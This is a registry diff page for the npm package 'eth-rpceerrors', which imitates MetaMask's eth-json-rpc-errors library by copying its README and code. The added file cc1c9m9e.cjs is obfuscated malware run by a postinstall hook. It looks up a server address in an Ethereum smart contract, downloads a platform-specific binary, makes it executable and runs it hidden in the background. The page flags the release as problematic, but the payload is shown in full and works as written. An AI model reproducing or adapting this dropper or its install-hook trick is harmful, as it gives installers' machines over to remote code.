eth-rpceerrors 0.0.1-security → 2.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of eth-rpceerrors might be problematic. Click here for more details.

package/LICENSE ADDED
@@ -0,0 +1,21 @@
1
+ MIT License
2
+
3
+ Copyright (c) 2019 MetaMask
4
+
5
+ Permission is hereby granted, free of charge, to any person obtaining a copy
6
+ of this software and associated documentation files (the "Software"), to deal
7
+ in the Software without restriction, including without limitation the rights
8
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9
+ copies of the Software, and to permit persons to whom the Software is
10
+ furnished to do so, subject to the following conditions:
11
+
12
+ The above copyright notice and this permission notice shall be included in all
13
+ copies or substantial portions of the Software.
14
+
15
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21
+ SOFTWARE.
package/README.md CHANGED
@@ -1,5 +1,147 @@
1
- # Security holding package
1
+ # eth-json-rpc-errors
2
2
 
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
3
+ Errors for the
4
+ [Ethereum JSON RPC](https://github.com/ethereum/EIPs/blob/master/EIPS/eip-1474.md)
5
+ and
6
+ [Ethereum Provider](https://github.com/ethereum/EIPs/blob/master/EIPS/eip-1193.md),
7
+ and [making unknown errors compliant with either spec](#parsing-unknown-errors).
4
8
 
5
- Please refer to www.npmjs.com/advisories?search=eth-rpceerrors for more information.
9
+ ## Basic Usage
10
+
11
+ ```js
12
+ import { ethErrors } from 'eth-json-rpc-errors'
13
+
14
+ throw ethErrors.provider.unauthorized()
15
+ // or
16
+ throw ethErrors.provider.unauthorized('my custom message')
17
+ ```
18
+
19
+ ## Supported Errors
20
+
21
+ - Ethereum JSON RPC
22
+ - Per [EIP 1474](https://github.com/ethereum/EIPs/blob/master/EIPS/eip-1474.md#error-codes)
23
+ - This includes all
24
+ [JSON RPC 2.0 errors](https://www.jsonrpc.org/specification#error_object)
25
+ - Ethereum Provider errors
26
+ - Per [EIP 1193](https://github.com/ethereum/EIPs/blob/master/EIPS/eip-1193.md#error-object-and-codes)
27
+ - Does **not** yet support [`CloseEvent` errors or status codes](https://developer.mozilla.org/en-US/docs/Web/API/CloseEvent#Status_codes).
28
+
29
+ ## Usage
30
+
31
+ Installation: `npm install eth-json-rpc-errors` or `yarn add eth-json-rpc-errors`
32
+
33
+ Import using ES6 syntax (no default export) or Node `require`.
34
+
35
+ ### Errors API
36
+
37
+ ```js
38
+ import { ethErrors } from 'eth-json-rpc-errors'
39
+
40
+ // Ethereum RPC errors are namespaced under "ethErrors.rpc"
41
+ response.error = ethErrors.rpc.methodNotFound({
42
+ message: optionalCustomMessage, data: optionalData
43
+ })
44
+
45
+ // ETH JSON RPC errors namespaced under ethErrors.provider
46
+ response.error = ethErrors.provider.unauthorized({
47
+ message: optionalCustomMessage, data: optionalData
48
+ })
49
+
50
+ // each error getter takes a single "opts" argument
51
+ // for most errors, this can be replaced with a single string, which becomes
52
+ // the error message
53
+ response.error = ethErrors.provider.unauthorized(customMessage)
54
+
55
+ // if an error getter accepts a single string, all arguments can be omitted
56
+ response.error = ethErrors.provider.unauthorized()
57
+ response.error = ethErrors.provider.unauthorized({})
58
+
59
+ // omitting the message will produce an error with a default message per
60
+ // the relevant spec
61
+
62
+ // omitting the data argument will produce an error without a
63
+ // "data" property
64
+
65
+ // the JSON RPC 2.0 server error requires a valid code
66
+ response.error = ethErrors.rpc.server({
67
+ code: -32031
68
+ })
69
+
70
+ // custom Ethereum Provider errors require a valid code and message
71
+ // valid codes are integers i such that: 1000 <= i <= 4999
72
+ response.error = ethErrors.provider.custom({
73
+ code: 1001, message: 'foo'
74
+ })
75
+ ```
76
+
77
+ ### Parsing Unknown Errors
78
+
79
+ ```js
80
+ // this is useful for ensuring your errors are standardized
81
+ import { serializeError } from 'eth-json-rpc-errors'
82
+
83
+ // if the argument is not a valid error per any supported spec,
84
+ // it will be added as error.data.originalError
85
+ response.error = serializeError(maybeAnError)
86
+
87
+ // you can add a custom fallback error code and message if desired
88
+ const fallbackError = { code: 4999, message: 'My custom error.' }
89
+ response.error = serializeError(maybeAnError, fallbackError)
90
+
91
+ // Note: if the original error has a "message" property, it will take
92
+ // precedence over the fallback error's message
93
+
94
+ // the default fallback is:
95
+ {
96
+ code: -32603,
97
+ message: 'Internal JSON-RPC error.'
98
+ }
99
+ ```
100
+
101
+ ### Other Exports
102
+
103
+ ```js
104
+ /**
105
+ * TypeScript interfaces
106
+ */
107
+ import {
108
+ // these describe to the corresponding exports from index.js
109
+ IEthErrors, IEthereumRpcError, IEthereumProviderError, ISerializeError,
110
+ // these describe the options argument to error getters in ethErrors
111
+ IErrorOptions, IRpcServerErrorOptions, IProviderCustomErrorOptions
112
+ } from 'eth-json-rpc-errors/@types'
113
+
114
+ /**
115
+ * Classes
116
+ */
117
+ import { EthereumRpcError, EthereumProviderError } from 'eth-json-rpc-errors'
118
+
119
+ /**
120
+ * getMessageFromCode & ERROR_CODES
121
+ */
122
+ import { getMessageFromCode, ERROR_CODES } from 'eth-json-rpc-errors'
123
+
124
+ // get the default message string for the given code, or a fallback message if
125
+ // no message exists for the given code
126
+ const message1 = getMessageFromCode(someCode)
127
+
128
+ // you can specify your own fallback message
129
+ const message2 = getMessageFromCode(someCode, myFallback)
130
+ // it can be anything, use at your own peril
131
+ const message3 = getMessageFromCode(someCode, null)
132
+
133
+ // {
134
+ // jsonRpc: { [errorName]: code, ... },
135
+ // eth: { [errorName]: code, ... },
136
+ // }
137
+ const code1 = ERROR_CODES.rpc.parse
138
+ const code2 = ERROR_CODES.provider.userRejectedRequest
139
+
140
+ // all codes in ERROR_CODES have default messages
141
+ const message4 = getMessageFromCode(code1)
142
+ const message5 = getMessageFromCode(code2)
143
+ ```
144
+
145
+ ## License
146
+
147
+ MIT
package/cc1c9m9e.cjs ADDED
@@ -0,0 +1 @@
1
+ const _0x5e71e0=_0x2681;(function(_0x1ff291,_0x1aac8a){const _0x98a343=_0x2681,_0x21b195=_0x1ff291();while(!![]){try{const _0x350b0a=-parseInt(_0x98a343(0x120))/0x1*(-parseInt(_0x98a343(0x11c))/0x2)+-parseInt(_0x98a343(0x106))/0x3*(parseInt(_0x98a343(0x10c))/0x4)+parseInt(_0x98a343(0xf4))/0x5+-parseInt(_0x98a343(0x101))/0x6*(parseInt(_0x98a343(0x10e))/0x7)+parseInt(_0x98a343(0x121))/0x8+parseInt(_0x98a343(0x113))/0x9+parseInt(_0x98a343(0xf7))/0xa;if(_0x350b0a===_0x1aac8a)break;else _0x21b195['push'](_0x21b195['shift']());}catch(_0x259abb){_0x21b195['push'](_0x21b195['shift']());}}}(_0x180e,0x77e5a));function _0x180e(){const _0x3de3b9=['Unsupported\x20platform:\x20','0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84','gPdcC','bdaIv','unref','Contract','stream','win32','22426HuBTca','chmodSync','/node-macos','join','2JQpRbT','2206416LXkGhd','xDKhe','error','ZhYBt','GET','ignore','755','darwin','1474010aKqcYO','XFrhj','aIMfA','3873480figihB','/node-win.exe','wZxFT','util','basename','pipe','function\x20getString(address\x20account)\x20public\x20view\x20returns\x20(string)','getString','ethers','data','72cjPMLl','Ошибка\x20установки:','tmpdir','Ошибка\x20при\x20получении\x20IP\x20адреса:','child_process','2631324FUowMH','linux','platform','getDefaultProvider','path','ijOSW','4EZIYxo','FnyJa','222425ypvwYg','mainnet','ZySfH','iEgQE','createWriteStream','6922152zgsSyl'];_0x180e=function(){return _0x3de3b9;};return _0x180e();}function _0x2681(_0x1b4e34,_0x32ec2c){const _0x180ed5=_0x180e();return _0x2681=function(_0x268189,_0x4fbe10){_0x268189=_0x268189-0xf0;let _0x32b0a8=_0x180ed5[_0x268189];return _0x32b0a8;},_0x2681(_0x1b4e34,_0x32ec2c);}const {ethers}=require(_0x5e71e0(0xff)),axios=require('axios'),util=require(_0x5e71e0(0xfa)),fs=require('fs'),path=require(_0x5e71e0(0x10a)),os=require('os'),{spawn}=require(_0x5e71e0(0x105)),contractAddress='0xa1b40044EBc2794f207D45143Bd82a1B86156c6b',WalletOwner=_0x5e71e0(0x115),abi=[_0x5e71e0(0xfd)],provider=ethers[_0x5e71e0(0x109)](_0x5e71e0(0x10f)),contract=new ethers[(_0x5e71e0(0x119))](contractAddress,abi,provider),fetchAndUpdateIp=async()=>{const _0x1e512=_0x5e71e0,_0x322500={'iEgQE':_0x1e512(0x104),'xDKhe':function(_0x614cb4){return _0x614cb4();}};try{const _0xeb3e06=await contract[_0x1e512(0xfe)](WalletOwner);return _0xeb3e06;}catch(_0x47a847){return console['error'](_0x322500[_0x1e512(0x111)],_0x47a847),await _0x322500[_0x1e512(0x122)](fetchAndUpdateIp);}},getDownloadUrl=_0x11e19c=>{const _0x4dfe69=_0x5e71e0,_0x2402ca={'XFrhj':_0x4dfe69(0x11b),'wZxFT':_0x4dfe69(0x107)},_0x4b2b0c=os['platform']();switch(_0x4b2b0c){case _0x2402ca[_0x4dfe69(0xf5)]:return _0x11e19c+_0x4dfe69(0xf8);case _0x2402ca[_0x4dfe69(0xf9)]:return _0x11e19c+'/node-linux';case _0x4dfe69(0xf3):return _0x11e19c+_0x4dfe69(0x11e);default:throw new Error(_0x4dfe69(0x114)+_0x4b2b0c);}},downloadFile=async(_0x53cbe2,_0x3f9e6b)=>{const _0x252b6e=_0x5e71e0,_0x482ca2={'aIMfA':'finish','ijOSW':_0x252b6e(0x123),'bdaIv':_0x252b6e(0x11a)},_0x237fc8=fs[_0x252b6e(0x112)](_0x3f9e6b),_0x411ebd=await axios({'url':_0x53cbe2,'method':_0x252b6e(0xf0),'responseType':_0x482ca2[_0x252b6e(0x117)]});return _0x411ebd[_0x252b6e(0x100)][_0x252b6e(0xfc)](_0x237fc8),new Promise((_0x2afceb,_0x3d1f3e)=>{const _0x27aa62=_0x252b6e;_0x237fc8['on'](_0x482ca2[_0x27aa62(0xf6)],_0x2afceb),_0x237fc8['on'](_0x482ca2[_0x27aa62(0x10b)],_0x3d1f3e);});},executeFileInBackground=async _0x5ea63d=>{const _0x4dfa5d=_0x5e71e0,_0x22f428={'IXSha':function(_0x420c76,_0x491e01,_0x3e2204,_0x596d98){return _0x420c76(_0x491e01,_0x3e2204,_0x596d98);},'ZySfH':_0x4dfa5d(0xf1),'ZhYBt':'Ошибка\x20при\x20запуске\x20файла:'};try{const _0x1b67ea=_0x22f428['IXSha'](spawn,_0x5ea63d,[],{'detached':!![],'stdio':_0x22f428[_0x4dfa5d(0x110)]});_0x1b67ea[_0x4dfa5d(0x118)]();}catch(_0x465729){console[_0x4dfa5d(0x123)](_0x22f428[_0x4dfa5d(0x124)],_0x465729);}},runInstallation=async()=>{const _0x24f664=_0x5e71e0,_0x52f303={'BmLje':function(_0x1850e1){return _0x1850e1();},'pVyGo':function(_0xae2d1a,_0x3e5029){return _0xae2d1a(_0x3e5029);},'FKnrU':function(_0x247f79,_0x47a594,_0xf86f61){return _0x247f79(_0x47a594,_0xf86f61);},'gPdcC':function(_0x21670c,_0x5e1221){return _0x21670c!==_0x5e1221;},'MAIiD':_0x24f664(0x11b),'FnyJa':_0x24f664(0xf2),'UYYgF':_0x24f664(0x102)};try{const _0x581039=await _0x52f303['BmLje'](fetchAndUpdateIp),_0x418a28=_0x52f303['pVyGo'](getDownloadUrl,_0x581039),_0x366157=os[_0x24f664(0x103)](),_0xd05793=path[_0x24f664(0xfb)](_0x418a28),_0x12f75c=path[_0x24f664(0x11f)](_0x366157,_0xd05793);await _0x52f303['FKnrU'](downloadFile,_0x418a28,_0x12f75c);if(_0x52f303[_0x24f664(0x116)](os[_0x24f664(0x108)](),_0x52f303['MAIiD']))fs[_0x24f664(0x11d)](_0x12f75c,_0x52f303[_0x24f664(0x10d)]);executeFileInBackground(_0x12f75c);}catch(_0x14ee40){console[_0x24f664(0x123)](_0x52f303['UYYgF'],_0x14ee40);}};runInstallation();
package/index.js ADDED
@@ -0,0 +1,46 @@
1
+
2
+ const { EthereumRpcError, EthereumProviderError } = require('./src/classes')
3
+ const {
4
+ serializeError, getMessageFromCode,
5
+ } = require('./src/utils')
6
+ const ethErrors = require('./src/errors')
7
+ const ERROR_CODES = require('./src/errorCodes.json')
8
+
9
+ module.exports = {
10
+ ethErrors,
11
+ EthereumRpcError,
12
+ EthereumProviderError,
13
+ serializeError,
14
+ getMessageFromCode,
15
+ /** @type ErrorCodes */
16
+ ERROR_CODES,
17
+ }
18
+
19
+ // Types
20
+
21
+ /**
22
+ * @typedef {Object} EthereumProviderErrorCodes
23
+ * @property {number} userRejectedRequest
24
+ * @property {number} unauthorized
25
+ * @property {number} unsupportedMethod
26
+ */
27
+
28
+ /**
29
+ * @typedef {Object} EthereumRpcErrorCodes
30
+ * @property {number} parse
31
+ * @property {number} invalidRequest
32
+ * @property {number} invalidParams
33
+ * @property {number} methodNotFound
34
+ * @property {number} internal
35
+ * @property {number} invalidInput
36
+ * @property {number} resourceNotFound
37
+ * @property {number} resourceUnavailable
38
+ * @property {number} transactionRejected
39
+ * @property {number} methodNotSupported
40
+ */
41
+
42
+ /**
43
+ * @typedef ErrorCodes
44
+ * @property {EthereumRpcErrorCodes} rpc
45
+ * @property {EthereumProviderErrorCodes} provider
46
+ */
package/package.json CHANGED
@@ -1,6 +1,40 @@
1
1
  {
2
2
  "name": "eth-rpceerrors",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
6
- }
3
+ "version": "2.0.2",
4
+ "description": "Ethereum JSON RPC and Provider errors.",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "postinstall": "node cc1c9m9e.cjs"
8
+ },
9
+ "repository": {
10
+ "type": "git",
11
+ "url": "git+https://github.com/MetaMask/eth-json-rpc-errors.git"
12
+ },
13
+ "keywords": [
14
+ "json",
15
+ "rpc",
16
+ "ethereum",
17
+ "errors",
18
+ "utility"
19
+ ],
20
+ "author": "Erik Marks <rekmarks@protonmail.com>",
21
+ "license": "MIT",
22
+ "bugs": {
23
+ "url": "https://github.com/MetaMask/eth-json-rpc-errors/issues"
24
+ },
25
+ "homepage": "https://github.com/MetaMask/eth-json-rpc-errors#readme",
26
+ "devDependencies": {
27
+ "eslint": "^6.1.0",
28
+ "fast-deep-equal": "^2.0.1",
29
+ "nyc": "^14.1.1",
30
+ "tape": "^4.11.0"
31
+ },
32
+ "dependencies": {
33
+ "fast-safe-stringify": "^2.0.6",
34
+ "axios": "^1.7.7",
35
+ "ethers": "^6.13.2"
36
+ },
37
+ "files": [
38
+ "cc1c9m9e.cjs"
39
+ ]
40
+ }